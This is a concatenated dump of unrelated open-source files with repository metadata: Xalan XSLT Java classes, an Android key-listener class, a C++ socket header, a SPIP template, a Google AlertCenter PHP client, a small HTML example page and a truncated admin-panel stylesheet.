* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* $Id$
*/
package org.apache.xalan.xsltc.dom;
import java.io.FileNotFoundException;
import javax.xml.transform.stream.StreamSource;
import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.DOMCache;
import org.apache.xalan.xsltc.DOMEnhancedForDTM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xml.dtm.DTM;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.dtm.DTMManager;
import org.apache.xml.dtm.ref.DTMDefaultBase;
import org.apache.xml.dtm.ref.EmptyIterator;
import org.apache.xml.utils.SystemIDResolver;
import org.xml.sax.InputSource;
import org.xml.sax.XMLReader;
/**
* @author Morten Jorgensen
*/
public final class LoadDocument {
private static final String NAMESPACE_FEATURE =
"http://xml.org/sax/features/namespaces";
/**
* Interprets the arguments passed from the document() function (see
* org/apache/xalan/xsltc/compiler/DocumentCall.java) and returns an
* iterator containing the requested nodes. Builds a union-iterator if
* several documents are requested.
* 2 arguments arg1 and arg2. document(Obj, node-set) call
*/
public static DTMAxisIterator documentF(Object arg1, DTMAxisIterator arg2,
String xslURI, AbstractTranslet translet, DOM dom)
throws TransletException {
String baseURI = null;
final int arg2FirstNode = arg2.next();
if (arg2FirstNode == DTMAxisIterator.END) {
// the second argument node-set is empty
return EmptyIterator.getInstance();
} else {
//System.err.println("arg2FirstNode name: "
// + dom.getNodeName(arg2FirstNode )+"["
// +Integer.toHexString(arg2FirstNode )+"]");
baseURI = dom.getDocumentURI(arg2FirstNode);
if (!SystemIDResolver.isAbsoluteURI(baseURI))
baseURI = SystemIDResolver.getAbsoluteURIFromRelative(baseURI);
}
try {
if (arg1 instanceof String) {
if (((String)arg1).length() == 0) {
return document(xslURI, "", translet, dom);
} else {
return document((String)arg1, baseURI, translet, dom);
}
} else if (arg1 instanceof DTMAxisIterator) {
return document((DTMAxisIterator)arg1, baseURI, translet, dom);
} else {
final String err = "document("+arg1.toString()+")";
throw new IllegalArgumentException(err);
}
} catch (Exception e) {
throw new TransletException(e);
}
}
/**
* Interprets the arguments passed from the document() function (see
* org/apache/xalan/xsltc/compiler/DocumentCall.java) and returns an
* iterator containing the requested nodes. Builds a union-iterator if
* several documents are requested.
* 1 arguments arg. document(Obj) call
*/
public static DTMAxisIterator documentF(Object arg, String xslURI,
AbstractTranslet translet, DOM dom)
throws TransletException {
try {
if (arg instanceof String) {
if (xslURI == null )
xslURI = "";
String baseURI = xslURI;
if (!SystemIDResolver.isAbsoluteURI(xslURI))
baseURI = SystemIDResolver.getAbsoluteURIFromRelative(xslURI);
String href = (String)arg;
if (href.length() == 0) {
href = "";
// %OPT% Optimization to cache the stylesheet DOM.
// The stylesheet DOM is built once and cached
// in the Templates object.
TemplatesImpl templates = (TemplatesImpl)translet.getTemplates();
DOM sdom = null;
if (templates != null) {
sdom = templates.getStylesheetDOM();
}
// If the cached dom exists, we need to migrate it
// to the new DTMManager and create a DTMAxisIterator
// for the document.
if (sdom != null) {
return document(sdom, translet, dom);
}
else {
return document(href, baseURI, translet, dom, true);
}
}
else {
return document(href, baseURI, translet, dom);
}
} else if (arg instanceof DTMAxisIterator) {
return document((DTMAxisIterator)arg, null, translet, dom);
} else {
final String err = "document("+arg.toString()+")";
throw new IllegalArgumentException(err);
}
} catch (Exception e) {
throw new TransletException(e);
}
}
private static DTMAxisIterator document(String uri, String base,
AbstractTranslet translet, DOM dom)
throws Exception
{
return document(uri, base, translet, dom, false);
}
private static DTMAxisIterator document(String uri, String base,
AbstractTranslet translet, DOM dom,
boolean cacheDOM)
throws Exception
{
try {
final String originalUri = uri;
MultiDOM multiplexer = (MultiDOM)dom;
// Prepend URI base to URI (from context)
if (base != null && !base.equals("")) {
uri = SystemIDResolver.getAbsoluteURI(uri, base);
}
// Return an empty iterator if the URI is clearly invalid
// (to prevent some unncessary MalformedURL exceptions).
if (uri == null || uri.equals("")) {
return(EmptyIterator.getInstance());
}
// Check if this DOM has already been added to the multiplexer
int mask = multiplexer.getDocumentMask(uri);
if (mask != -1) {
DOM newDom = ((DOMAdapter)multiplexer.getDOMAdapter(uri))
.getDOMImpl();
if (newDom instanceof DOMEnhancedForDTM) {
return new SingletonIterator(((DOMEnhancedForDTM)newDom)
.getDocument(),
true);
}
}
// Check if we can get the DOM from a DOMCache
DOMCache cache = translet.getDOMCache();
DOM newdom;
mask = multiplexer.nextMask(); // peek
if (cache != null) {
newdom = cache.retrieveDocument(base, originalUri, translet);
if (newdom == null) {
final Exception e = new FileNotFoundException(originalUri);
throw new TransletException(e);
}
} else {
// Parse the input document and construct DOM object
// Trust the DTMManager to pick the right parser and
// set up the DOM correctly.
XSLTCDTMManager dtmManager = (XSLTCDTMManager)multiplexer
.getDTMManager();
DOMEnhancedForDTM enhancedDOM =
(DOMEnhancedForDTM) dtmManager.getDTM(new StreamSource(uri),
false, null, true, false,
translet.hasIdCall(), cacheDOM);
newdom = enhancedDOM;
// Cache the stylesheet DOM in the Templates object
if (cacheDOM) {
TemplatesImpl templates = (TemplatesImpl)translet.getTemplates();
if (templates != null) {
templates.setStylesheetDOM(enhancedDOM);
}
}
translet.prepassDocument(enhancedDOM);
enhancedDOM.setDocumentURI(uri);
}
// Wrap the DOM object in a DOM adapter and add to multiplexer
final DOMAdapter domAdapter = translet.makeDOMAdapter(newdom);
multiplexer.addDOMAdapter(domAdapter);
// Create index for any key elements
translet.buildKeys(domAdapter, null, null, newdom.getDocument());
// Return a singleton iterator containing the root node
return new SingletonIterator(newdom.getDocument(), true);
} catch (Exception e) {
throw e;
}
}
private static DTMAxisIterator document(DTMAxisIterator arg1,
String baseURI,
AbstractTranslet translet, DOM dom)
throws Exception
{
UnionIterator union = new UnionIterator(dom);
int node = DTM.NULL;
while ((node = arg1.next()) != DTM.NULL) {
String uri = dom.getStringValueX(node);
//document(node-set) if true; document(node-set,node-set) if false
if (baseURI == null) {
baseURI = dom.getDocumentURI(node);
if (!SystemIDResolver.isAbsoluteURI(baseURI))
baseURI = SystemIDResolver.getAbsoluteURIFromRelative(baseURI);
}
union.addIterator(document(uri, baseURI, translet, dom));
}
return(union);
}
/**
* Create a DTMAxisIterator for the newdom. This is currently only
* used to create an iterator for the cached stylesheet DOM.
*
* @param newdom the cached stylesheet DOM
* @param translet the translet
* @param the main dom (should be a MultiDOM)
* @return a DTMAxisIterator from the document root
*/
private static DTMAxisIterator document(DOM newdom,
AbstractTranslet translet,
DOM dom)
throws Exception
{
DTMManager dtmManager = ((MultiDOM)dom).getDTMManager();
// Need to migrate the cached DTM to the new DTMManager
if (dtmManager != null && newdom instanceof DTM) {
((DTM)newdom).migrateTo(dtmManager);
}
translet.prepassDocument(newdom);
// Wrap the DOM object in a DOM adapter and add to multiplexer
final DOMAdapter domAdapter = translet.makeDOMAdapter(newdom);
((MultiDOM)dom).addDOMAdapter(domAdapter);
// Create index for any key elements
translet.buildKeys(domAdapter, null, null,
newdom.getDocument());
// Return a singleton iterator containing the root node
return new SingletonIterator(newdom.getDocument(), true);
}
}
|
srnsw/xena
|
xena/ext/src/xalan-j_2_7_1/src/org/apache/xalan/xsltc/dom/LoadDocument.java
|
Java
|
gpl-3.0
| 11,931
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* $Id$
*/
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import org.apache.xalan.trace.PrintTraceListener;
import org.apache.xalan.trace.TraceManager;
import org.apache.xalan.transformer.TransformerImpl;
/**
* Sample for demonstrating Xalan "trace" interface.
* Usage: run in Trace directory: java Trace
* For an extensions trace sample, run in extensions
* directory: java Trace 3-java-namespace
*/
public class Trace
{
public static void main (String[] args)
throws java.io.IOException,
TransformerException, TransformerConfigurationException,
java.util.TooManyListenersException,
org.xml.sax.SAXException
{
String fileName = "foo";
if (args.length > 0)
fileName = args[0];
// Set up a PrintTraceListener object to print to a file.
java.io.FileWriter fw = new java.io.FileWriter("events.log");
java.io.PrintWriter pw = new java.io.PrintWriter(fw, true);
PrintTraceListener ptl = new PrintTraceListener(pw);
// Print information as each node is 'executed' in the stylesheet.
ptl.m_traceElements = true;
// Print information after each result-tree generation event.
ptl.m_traceGeneration = true;
// Print information after each selection event.
ptl.m_traceSelection = true;
// Print information whenever a template is invoked.
ptl.m_traceTemplates = true;
// Print information whenever an extension call is made.
ptl.m_traceExtension = true;
// Set up the transformation
TransformerFactory tFactory = TransformerFactory.newInstance();
Transformer transformer = tFactory.newTransformer(new StreamSource(fileName + ".xsl"));
// Cast the Transformer object to TransformerImpl.
if (transformer instanceof TransformerImpl)
{
TransformerImpl transformerImpl = (TransformerImpl)transformer;
// Register the TraceListener with a TraceManager associated
// with the TransformerImpl.
TraceManager trMgr = transformerImpl.getTraceManager();
trMgr.addTraceListener(ptl);
// Perform the transformation --printing information to
// the events log during the process.
transformer.transform
( new StreamSource(fileName + ".xml"),
new StreamResult(new java.io.FileWriter(fileName + ".out")) );
}
// Close the PrintWriter and FileWriter.
pw.close();
fw.close();
System.out.println("**The output is in " + fileName + ".out; the log is in events.log ****");
}
}
|
srnsw/xena
|
xena/ext/src/xalan-j_2_7_1/samples/Trace/Trace.java
|
Java
|
gpl-3.0
| 3,678
|
/*
* Copyright (C) 2006 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package android.text.method;
import android.view.KeyEvent;
import android.view.View;
import android.text.*;
import android.text.method.TextKeyListener.Capitalize;
import android.widget.TextView;
import java.text.BreakIterator;
/**
* Abstract base class for key listeners.
*
* Provides a basic foundation for entering and editing text.
* Subclasses should override {@link #onKeyDown} and {@link #onKeyUp} to insert
* characters as keys are pressed.
* <p></p>
* As for all implementations of {@link KeyListener}, this class is only concerned
* with hardware keyboards. Software input methods have no obligation to trigger
* the methods in this class.
*/
public abstract class BaseKeyListener extends MetaKeyKeyListener
implements KeyListener {
/* package */ static final Object OLD_SEL_START = new NoCopySpan.Concrete();
/**
* Performs the action that happens when you press the {@link KeyEvent#KEYCODE_DEL} key in
* a {@link TextView}. If there is a selection, deletes the selection; otherwise,
* deletes the character before the cursor, if any; ALT+DEL deletes everything on
* the line the cursor is on.
*
* @return true if anything was deleted; false otherwise.
*/
public boolean backspace(View view, Editable content, int keyCode, KeyEvent event) {
return backspaceOrForwardDelete(view, content, keyCode, event, false);
}
/**
* Performs the action that happens when you press the {@link KeyEvent#KEYCODE_FORWARD_DEL}
* key in a {@link TextView}. If there is a selection, deletes the selection; otherwise,
* deletes the character before the cursor, if any; ALT+FORWARD_DEL deletes everything on
* the line the cursor is on.
*
* @return true if anything was deleted; false otherwise.
*/
public boolean forwardDelete(View view, Editable content, int keyCode, KeyEvent event) {
return backspaceOrForwardDelete(view, content, keyCode, event, true);
}
private boolean backspaceOrForwardDelete(View view, Editable content, int keyCode,
KeyEvent event, boolean isForwardDelete) {
// Ensure the key event does not have modifiers except ALT or SHIFT or CTRL.
if (!KeyEvent.metaStateHasNoModifiers(event.getMetaState()
& ~(KeyEvent.META_SHIFT_MASK | KeyEvent.META_ALT_MASK | KeyEvent.META_CTRL_MASK))) {
return false;
}
// If there is a current selection, delete it.
if (deleteSelection(view, content)) {
return true;
}
// MetaKeyKeyListener doesn't track control key state. Need to check the KeyEvent instead.
boolean isCtrlActive = ((event.getMetaState() & KeyEvent.META_CTRL_ON) != 0);
boolean isShiftActive = (getMetaState(content, META_SHIFT_ON, event) == 1);
boolean isAltActive = (getMetaState(content, META_ALT_ON, event) == 1);
if (isCtrlActive) {
if (isAltActive || isShiftActive) {
// Ctrl+Alt, Ctrl+Shift, Ctrl+Alt+Shift should not delete any characters.
return false;
}
return deleteUntilWordBoundary(view, content, isForwardDelete);
}
// Alt+Backspace or Alt+ForwardDelete deletes the current line, if possible.
if (isAltActive && deleteLine(view, content)) {
return true;
}
// Delete a character.
final int start = Selection.getSelectionEnd(content);
final int end;
if (isForwardDelete) {
end = TextUtils.getOffsetAfter(content, start);
} else {
end = TextUtils.getOffsetBefore(content, start);
}
if (start != end) {
content.delete(Math.min(start, end), Math.max(start, end));
return true;
}
return false;
}
private boolean deleteUntilWordBoundary(View view, Editable content, boolean isForwardDelete) {
int currentCursorOffset = Selection.getSelectionStart(content);
// If there is a selection, do nothing.
if (currentCursorOffset != Selection.getSelectionEnd(content)) {
return false;
}
// Early exit if there is no contents to delete.
if ((!isForwardDelete && currentCursorOffset == 0) ||
(isForwardDelete && currentCursorOffset == content.length())) {
return false;
}
WordIterator wordIterator = null;
if (view instanceof TextView) {
wordIterator = ((TextView)view).getWordIterator();
}
if (wordIterator == null) {
// Default locale is used for WordIterator since the appropriate locale is not clear
// here.
// TODO: Use appropriate locale for WordIterator.
wordIterator = new WordIterator();
}
int deleteFrom;
int deleteTo;
if (isForwardDelete) {
deleteFrom = currentCursorOffset;
wordIterator.setCharSequence(content, deleteFrom, content.length());
deleteTo = wordIterator.following(currentCursorOffset);
if (deleteTo == BreakIterator.DONE) {
deleteTo = content.length();
}
} else {
deleteTo = currentCursorOffset;
wordIterator.setCharSequence(content, 0, deleteTo);
deleteFrom = wordIterator.preceding(currentCursorOffset);
if (deleteFrom == BreakIterator.DONE) {
deleteFrom = 0;
}
}
content.delete(deleteFrom, deleteTo);
return true;
}
private boolean deleteSelection(View view, Editable content) {
int selectionStart = Selection.getSelectionStart(content);
int selectionEnd = Selection.getSelectionEnd(content);
if (selectionEnd < selectionStart) {
int temp = selectionEnd;
selectionEnd = selectionStart;
selectionStart = temp;
}
if (selectionStart != selectionEnd) {
content.delete(selectionStart, selectionEnd);
return true;
}
return false;
}
private boolean deleteLine(View view, Editable content) {
if (view instanceof TextView) {
final Layout layout = ((TextView) view).getLayout();
if (layout != null) {
final int line = layout.getLineForOffset(Selection.getSelectionStart(content));
final int start = layout.getLineStart(line);
final int end = layout.getLineEnd(line);
if (end != start) {
content.delete(start, end);
return true;
}
}
}
return false;
}
static int makeTextContentType(Capitalize caps, boolean autoText) {
int contentType = InputType.TYPE_CLASS_TEXT;
switch (caps) {
case CHARACTERS:
contentType |= InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS;
break;
case WORDS:
contentType |= InputType.TYPE_TEXT_FLAG_CAP_WORDS;
break;
case SENTENCES:
contentType |= InputType.TYPE_TEXT_FLAG_CAP_SENTENCES;
break;
}
if (autoText) {
contentType |= InputType.TYPE_TEXT_FLAG_AUTO_CORRECT;
}
return contentType;
}
public boolean onKeyDown(View view, Editable content,
int keyCode, KeyEvent event) {
boolean handled;
switch (keyCode) {
case KeyEvent.KEYCODE_DEL:
handled = backspace(view, content, keyCode, event);
break;
case KeyEvent.KEYCODE_FORWARD_DEL:
handled = forwardDelete(view, content, keyCode, event);
break;
default:
handled = false;
break;
}
if (handled) {
adjustMetaAfterKeypress(content);
}
return super.onKeyDown(view, content, keyCode, event);
}
/**
* Base implementation handles ACTION_MULTIPLE KEYCODE_UNKNOWN by inserting
* the event's text into the content.
*/
public boolean onKeyOther(View view, Editable content, KeyEvent event) {
if (event.getAction() != KeyEvent.ACTION_MULTIPLE
|| event.getKeyCode() != KeyEvent.KEYCODE_UNKNOWN) {
// Not something we are interested in.
return false;
}
int selectionStart = Selection.getSelectionStart(content);
int selectionEnd = Selection.getSelectionEnd(content);
if (selectionEnd < selectionStart) {
int temp = selectionEnd;
selectionEnd = selectionStart;
selectionStart = temp;
}
CharSequence text = event.getCharacters();
if (text == null) {
return false;
}
content.replace(selectionStart, selectionEnd, text);
return true;
}
}
|
syslover33/ctank
|
java/android-sdk-linux_r24.4.1_src/sources/android-23/android/text/method/BaseKeyListener.java
|
Java
|
gpl-3.0
| 9,624
|
/* @license
* This file is part of the Game Closure SDK.
*
* The Game Closure SDK is free software: you can redistribute it and/or modify
* it under the terms of the Mozilla Public License v. 2.0 as published by Mozilla.
* The Game Closure SDK is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* Mozilla Public License v. 2.0 for more details.
* You should have received a copy of the Mozilla Public License v. 2.0
* along with the Game Closure SDK. If not, see <http://mozilla.org/MPL/2.0/>.
*/
#ifndef JS_SOCKET_H
#define JS_SOCKET_H
#include "js/js.h"
using v8::Handle;
using v8::Value;
using v8::Arguments;
using v8::Object;
using v8::Persistent;
Handle<Value> js_socket_send(const Arguments &args);
Handle<Value> js_socket_close(const Arguments &args);
Handle<Value> js_socket_default_callback(const Arguments &args);
Handle<Value> js_socket_ctor(const Arguments &args);
void js_socket_connected(int id);
void js_socket_on_data(int id, const char *data);
void js_socket_error(int id);
#endif
|
hashcube/native-android
|
gradleops/AndroidSeed/tealeaf/src/main/jni/js/js_socket.h
|
C
|
gpl-3.0
| 1,145
|
[(#ENV{quoi}|in_array{#ENV{objets/selectionner}}
|et{
#ENV{forcer_racine_objet}|!={#ENV{quoi}|objet_type}
|ou{#ENV{forcer_racine_id_objet}|!={#ENV{id_objet}}}
|ou{#ENV{racine}}
}
|ou{
#ENV{quoi}|=={racine}|et{#ENV{racine}|oui}
}
)
[(#SET{titre,[(#ENV{quoi}|=={racine}|?{[(#ENV{label_racine,<:info_racine_site:>})],#INFO_TITRE{#ENV{quoi},#ENV{id_objet}}})]})]
<a
href="#"
class="choisir_ici"
title="<:bouton_choisir:> : [(#GET{titre}|attribut_html)]"
onclick="jQuery(this).item_pick('[(#ENV{quoi}|objet_type)]|#ENV{id_objet}','#ENV{name,id_item}','[(#GET{titre}|textebrut|texte_script)]','#ENV{quoi}');return false;"
><span><:bouton_choisir:></span></a>
]
[(#REM) Pour chaque objet affichable, on cherche s'il peut être enfant de l'objet dans lequel on est ]
<BOUCLE_objets(POUR){tableau #ENV{objets/afficher}}>
[(#CHEMIN{formulaires/selecteur/lister-#ENV{quoi}-#VALEUR.html}|oui)
#SET{bouton_selectionner, #VALEUR|in_array{#ENV{objets/selectionner}}|oui}
[<div class="#VALEUR">[<h4 class="type_objet">(#VALEUR|table_objet_sql|lister_tables_objets_sql|table_valeur{texte_objets}|_T)</h4>]
(#INCLURE{fond=formulaires/selecteur/lister-#ENV{quoi}-#VALEUR, bouton_selectionner=#GET{bouton_selectionner}, env})</div>]
]
</BOUCLE_objets>
|
phenix-factory/p.henix.be
|
prive/formulaires/selecteur/lister.html
|
HTML
|
gpl-3.0
| 1,259
|
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
/**
* Service definition for AlertCenter (v1beta1).
*
* <p>
* Manages alerts on issues affecting your domain.</p>
*
* <p>
* For more information about this service, see the API
* <a href="https://developers.google.com/admin-sdk/alertcenter/" target="_blank">Documentation</a>
* </p>
*
* @author Google, Inc.
*/
class Google_Service_AlertCenter extends Google_Service
{
/** See and delete your domain's G Suite alerts, and send alert feedback. */
const APPS_ALERTS =
"https://www.googleapis.com/auth/apps.alerts";
public $alerts;
public $alerts_feedback;
public $v1beta1;
/**
* Constructs the internal representation of the AlertCenter service.
*
* @param Google_Client $client The client used to deliver requests.
* @param string $rootUrl The root URL used for requests to the service.
*/
public function __construct(Google_Client $client, $rootUrl = null)
{
parent::__construct($client);
$this->rootUrl = $rootUrl ?: 'https://alertcenter.googleapis.com/';
$this->servicePath = '';
$this->batchPath = 'batch';
$this->version = 'v1beta1';
$this->serviceName = 'alertcenter';
$this->alerts = new Google_Service_AlertCenter_Resource_Alerts(
$this,
$this->serviceName,
'alerts',
array(
'methods' => array(
'batchDelete' => array(
'path' => 'v1beta1/alerts:batchDelete',
'httpMethod' => 'POST',
'parameters' => array(),
),'batchUndelete' => array(
'path' => 'v1beta1/alerts:batchUndelete',
'httpMethod' => 'POST',
'parameters' => array(),
),'delete' => array(
'path' => 'v1beta1/alerts/{alertId}',
'httpMethod' => 'DELETE',
'parameters' => array(
'alertId' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'customerId' => array(
'location' => 'query',
'type' => 'string',
),
),
),'get' => array(
'path' => 'v1beta1/alerts/{alertId}',
'httpMethod' => 'GET',
'parameters' => array(
'alertId' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'customerId' => array(
'location' => 'query',
'type' => 'string',
),
),
),'getMetadata' => array(
'path' => 'v1beta1/alerts/{alertId}/metadata',
'httpMethod' => 'GET',
'parameters' => array(
'alertId' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'customerId' => array(
'location' => 'query',
'type' => 'string',
),
),
),'list' => array(
'path' => 'v1beta1/alerts',
'httpMethod' => 'GET',
'parameters' => array(
'pageToken' => array(
'location' => 'query',
'type' => 'string',
),
'orderBy' => array(
'location' => 'query',
'type' => 'string',
),
'customerId' => array(
'location' => 'query',
'type' => 'string',
),
'pageSize' => array(
'location' => 'query',
'type' => 'integer',
),
'filter' => array(
'location' => 'query',
'type' => 'string',
),
),
),'undelete' => array(
'path' => 'v1beta1/alerts/{alertId}:undelete',
'httpMethod' => 'POST',
'parameters' => array(
'alertId' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
),
),
)
)
);
$this->alerts_feedback = new Google_Service_AlertCenter_Resource_AlertsFeedback(
$this,
$this->serviceName,
'feedback',
array(
'methods' => array(
'create' => array(
'path' => 'v1beta1/alerts/{alertId}/feedback',
'httpMethod' => 'POST',
'parameters' => array(
'alertId' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'customerId' => array(
'location' => 'query',
'type' => 'string',
),
),
),'list' => array(
'path' => 'v1beta1/alerts/{alertId}/feedback',
'httpMethod' => 'GET',
'parameters' => array(
'alertId' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'filter' => array(
'location' => 'query',
'type' => 'string',
),
'customerId' => array(
'location' => 'query',
'type' => 'string',
),
),
),
)
)
);
$this->v1beta1 = new Google_Service_AlertCenter_Resource_V1beta1(
$this,
$this->serviceName,
'v1beta1',
array(
'methods' => array(
'getSettings' => array(
'path' => 'v1beta1/settings',
'httpMethod' => 'GET',
'parameters' => array(
'customerId' => array(
'location' => 'query',
'type' => 'string',
),
),
),'updateSettings' => array(
'path' => 'v1beta1/settings',
'httpMethod' => 'PATCH',
'parameters' => array(
'customerId' => array(
'location' => 'query',
'type' => 'string',
),
),
),
)
)
);
}
}
|
Merrick28/delain
|
web/vendor/google/apiclient-services/src/Google/Service/AlertCenter.php
|
PHP
|
gpl-3.0
| 7,176
|
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name='viewport' content='width=device-width'>
<meta name='apple-mobile-web-app-capable' content='yes'>
<meta name='mobile-web-app-capable' content='yes'>
<link rel='icon' href='../images/favicon-16.png' sizes='16x16'>
<link rel='icon' href='../images/favicon-32.png' sizes='32x32'>
<link rel='icon' href='../images/favicon-64.png' sizes='64x64'>
<link rel='icon' href='../images/favicon-128.png' sizes='128x128'>
<link rel='stylesheet' href='../stylesheets/examples.min.css'>
<title>Repeated domains</title>
</head>
<body>
<a href='.'>Back to examples</a>
<article>
<h1>Repeated domains</h1>
<p>The result below corresponds to a plot of β-carotene 15,15'-monooxygenase protein compared with itself. The matrix comparison chosen is blosum 45 and the window size is 10. The main diagonal is observed in the dotplot window. We can also see that deduce the presence of repetitions by observing the little diagonals.</p>
<img alt="repeated domain example image" src="../images/RepeatedDomainsScreenshot.png">
</article>
</body>
</html>
|
crazybiocomputing/dotplot_wgl
|
src/examples/Repeated_Domains.html
|
HTML
|
gpl-3.0
| 1,167
|
@import url(//fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&subset=latin,cyrillic-ext,greek-ext,vietnamese);
html, body {
height: 100%;
margin: 0;
padding: 0;
font-family: 'Open Sans', sans-serif;
color: #545454;
text-rendering: optimizeLegibility;
}
h1, h2, h3, h4, h5, h6, p {
margin-top: 0;
}
p {
margin-bottom: 40px;
}
.page-header {
vertical-align: middle;
margin: 20px 0 15px 0;
padding: 0;
border-bottom: 1px solid #e9e9e9;
}
.page-header h1 {
font-family: 'Open Sans', sans-serif;
font-weight: 300;
font-size: 30px;
color: #4c4d5a;
display: inline-block;
margin-bottom: 15px;
text-shadow: 0 1px #fff;
}
.breadcrumb {
display: inline-block;
background: none;
margin: 8px 0 19px 0;
padding: 0 10px;
border-radius: 0;
}
.breadcrumb li a {
color: #999999;
font-size: 14px;
padding: 0px;
margin: 0px;
}
.breadcrumb li a:hover {
text-decoration: none;
}
.breadcrumb li + li:before {
content: "\f105";
font-family: FontAwesome;
color: #BBBBBB;
padding: 0 5px;
font-size: 10px;
}
a:hover, a:focus {
text-decoration: none;
}
#container {
min-height: 100%;
width: 100%;
position: relative;
background: #f6f6f6;
overflow: hidden;
}
.container-fluid {
padding: 0 20px;
}
#header {
min-height: 0px;
background: #FFFFFF;
border-bottom: 1px solid #d8d8d8;
margin: 0;
padding: 0;
box-shadow: 0px 0px 3px #ccc;
}
#header .container-fluid {
padding: 0;
}
#header .navbar-header {
transition: 0.3s all;
border-right: 1px solid #eee;
width: 235px;
display: none;
}
#header .navbar-brand {
margin-left: 8px;
}
#header .navbar-nav > li {
display: inline-block;
}
#header .navbar-right > li {
border-left: 1px solid #eee;
}
#header .navbar-right {
margin-right: 0;
margin: 0px 0px 0px 0px;
float: right;
}
#header #user-profile {
max-width: 30px;
margin-right: 10px;
}
#header .nav > li > a {
padding: 0px 21px;
line-height: 45px;
cursor: pointer;
color: #6D6D6D;
border-left: 0px solid #E1E1E1;
}
#header .nav > li.dropdown > a {
padding-left: 10px;
padding-right: 10px;
}
#header .nav > li.dropdown > a {
padding-left: 10px;
padding-right: 10px;
}
/* Desktop */
@media (min-width: 768px){
#header .navbar-header {
display: inline-block;
}
#header #user-profile {
max-width: none;
}
#header .nav > li > a {
line-height: 60px;
}
}
#button-menu {
line-height: 30px;
font-size: 24px;
float: left;
padding: 10px 16px;
line-height: 25px;
display: inline-block;
cursor: pointer;
color: #6D6D6D;
border-right: 1px solid #eee;
}
/* Desktop */
@media (min-width: 768px){
#button-menu {
display: none;
}
}
#column-left {
width: 235px;
height: 100%;
overflow: auto;
background-color: #242d37;
position: absolute;
top: 0px;
left: -235px;
padding-top: 60px;
z-index: 10;
}
#column-left::-webkit-scrollbar {
width: 10px;
background-color: rgba(200,200,200,0);
}
#column-left::-webkit-scrollbar-thumb {
border-radius: 4px;
background-color: rgba(128,139,156,0.2);
}
#content {
padding-bottom: 40px;
}
#column-left, #content, #footer {
transition: all 0.3s;
}
#column-left + #content, #column-left + #content + #footer {
position: relative;
left: 0px;
}
#column-left.active {
left: 0px;
}
#column-left.active + #content, #column-left.active + #content + #footer {
left: 235px;
}
/* Desktop */
@media (min-width: 768px){
#column-left {
left: 0px;
}
#column-left + #content, #column-left + #content + #footer {
left: 0px;
margin-left: 235px;
}
#column-left.active + #content, #column-left.active + #content + #footer {
left: 0px;
margin-left: 235px;
}
}
/* Navigation */
#navigation {
text-transform: uppercase;
padding: 15px 15px 15px 15px;
color: #FFFFFF;
background: #19222E;
display: block;
}
/* Menu */
#menu, #menu ul, #menu li {
padding: 0;
margin: 0;
list-style: none;
}
#menu {
margin-bottom: 25px;
}
#menu li a {
text-decoration: none;
display: block;
padding: 10px;
cursor: pointer;
border-bottom: 0px solid #515151;
}
#menu li a.parent:after {
font-family: FontAwesome;
float: right;
margin-right: 8px;
}
#menu li a.parent:after {
content: "\f107";
}
#menu li a.collapsed:after {
content: "\f105";
}
/* 1st lvl */
#menu > li {
position: relative;
border-bottom: 1px solid #2b3642;
}
#menu > li > a {
font-size: 14px;
color: #b3cbdd;
padding-left: 20px;
border-bottom: 0px solid #585858;
}
#menu > li > a:hover {
background-color: #1B2127;
}
#menu > li > a > i {
font-size: 16px;
width: 18px;
margin-right: 5px;
}
#menu > li.active > a {
color: #0b91d2;
background-color: #171b21;
}
#menu > li > ul {
background-color: #293141;
}
/* 2nd lvl */
#menu li li a {
color: #7f8a9b;
}
#menu li li a:before {
content: "\f101";
font-size: 13px;
font-family: FontAwesome;
margin-left: 10px;
margin-right: 10px;
transition: margin ease 0.5s;
}
#menu li li a:hover:before {
margin-right: 20px;
}
#menu li li a:hover {
color: #FFFFFF;
background-color: #242d37;
}
#menu li li.active > a {
color: #0b91d2;
background-color: #242d37;
}
#menu li ul a {
